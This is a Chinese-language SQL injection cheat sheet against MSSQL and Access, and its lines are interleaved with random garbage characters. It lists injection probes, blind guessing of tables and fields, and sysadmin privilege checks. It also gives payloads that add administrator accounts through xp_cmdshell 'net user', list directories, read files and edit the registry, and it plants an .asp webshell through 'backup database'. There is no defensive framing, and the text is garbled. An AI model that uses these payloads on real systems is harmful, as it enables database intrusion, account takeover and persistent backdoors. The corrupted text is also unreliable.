1.判断是否有注入;and 1=1 ;and 1=2 M#
S:'WN
2.初步判断是否是mssql ;and user>0 -41L^Di\
c;(}Ih(#
3.注入参数是字符'and [查询条件] and ''=' ;k!Ej-(
e|Lh~sVq
4.搜索时没过滤参数的'and [查询条件] and '%25'=' .Jou09+
\N/T^,
5.判断数据库系统 R,6?1Z:J
-,zNFC:6g
;and (select count(*) from sysobjects)>0 mssql q]'VVlP)
Dr`A4LnqY
;and (select count(*) from msysobjects)>0 access Yxi.A$g
<0&];5
on
QN*'MA"M
!cWKY\lpv
6.猜数据库 ;and (select Count(*) from [数据库名])>0 U/{cYX
)RA7Y}e|m
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ]+fL6"OD/2
){8^l0b
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ~#) DJ
?t?!)# X
9.(1)猜字段的ascii值(access) Vf O0 z5&
D>LdDhNn,`
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 k('2K2P
&b{L|I'KYT
(2)猜字段的ascii值(mssql) 7!L"ef62o
NV*t
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,4EE9
?J
5TzMv3;in2
10.测试权限结构(mssql) kO/dZ%vj
ob-be2EysH
`?`\!uP"
?vM{9!M
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Hyc19|
W)j/[
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- FDpNM\SR1l
DAc jx:~
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- /z5j.TMs
qRB&R$
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3osAWSCEL
okr'=iDg
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o2F6K*u}
coU`2n/
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- zXp{9P\c
LH0\SmhU
;and 1=(select IS_MEMBER('db_owner'));-- 8 I,(\<Xv
1.jW^sM
[R& P.E7w'
rS6iZp,
11.添加mssql和系统的帐户 MhJq~G p
1xcx2L+R
;exec master.dbo.sp_addlogin username;-- c69B[Vjb
;exec master.dbo.sp_password null,username,password;-- [Zgy,j\\
j3A+:KDn3n
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /I".n]
NeeymyW
;exec master.dbo.xp_cmdshell 'net user username password sF(U?)48
K;S&91V)=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $6ITa }o
K Rm4r
;exec master.dbo.xp_cmdshell 'net user username password /add';-- >Li
~Og@
r ZGA9duy
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- =cqaA^HQL
Mt-y{*6!k
l
^$$d8
=d(
6
)
12.(1)遍历目录 ")ZHa qEB
D~8f6Ko"m
;create table dirs(paths varchar(100), id int) ?Tb'J`MO
eN,m8A`/S
;insert dirs exec master.dbo.xp_dirtree 'c:\'
3nR|*t;
hLJO\=0rJz
;and (select top 1 paths from dirs)>0 yh lZdF
scN}eg:5
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2lXsD;[
"52wa<MVJ
pOw4H67
!tX14O~B-
(2)遍历目录 0H;dA1
=XudL^GF
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Awe\KJ^`
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Auv/w}zrr
?Cmb3pX^\
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !)_5 z<
l,sYYU+iY
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 (7-K4j`
QAcvv 0Hv
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 #`}g?6VHo
P,tN;c
| ql!@M(p
vT3LhN+1
13.mssql中的存储过程 I8`.eqV
Dt.OZ4w5
xp_regenumvalues 注册表根键, 子键 4Mg09
I>G)wRpfR'
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 b\H(Lq17
bncK8SK
xp_regread 根键,子键,键值名 [xM07%:
hoSk
;exec xp_regread vad" N
!YAkHrF`[0
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 EYG&~a>L*
0#<_:E
xp_regwrite 根键,子键, 值名, 值类型, 值 iHQFieZ.E
2ZLK`^S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 h-!(O^M
[o|]>(tk
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5p"*nkF
nc@ul')
xp_regdeletevalue 根键,子键,值名 #v~zf@<KLB
"B)DX*-\?
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ?55('+{l
HQ2in_'
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T /[)U
w)DO"Z7
nb?bx{M
n>Zkx+jLj<
14.mssql的backup创建webshell VVCCPK^<
l 4~'CLi
use model VAq(
t
&QCqaJ-
create table cmd(str image); 0Dh a1[=
swlxV@NQ
insert into cmd(str) values (''); 5dYIL`
Mzxz- cE
backup database model to disk='c:\l.asp'; I0)iC[s8;
t@)~{W
{
2evM|Dj
AZ!G-73
15.mssql内置函数 (
B50~it
)
e;F@o3
;and (select @@version)>0 获得Windows的版本号 ]T
zN*6o
}yB@?
;and user_name()='dbo' 判断当前系统的连接用户是不是sa !j7b7<wR
zhYE#hv2
;and (select user_name())>0 爆当前系统的连接用户 ojyG|Y
5z El`h
;and (select db_name())>0 得到当前连接的数据库 W,w g@2
V @d:n
P[gk9{sv
QC
]z--wu
16.简洁的webshell p'xj:bB
VFG)|Z
use model .@=d I
:i:Zc~%
create table cmd(str image); wl(}F^:/`
=PO/Q|-v?
insert into cmd(str) values (''); _>3GNvS
'7_'s1
backup database model to disk='g:\wwwtest\l.asp';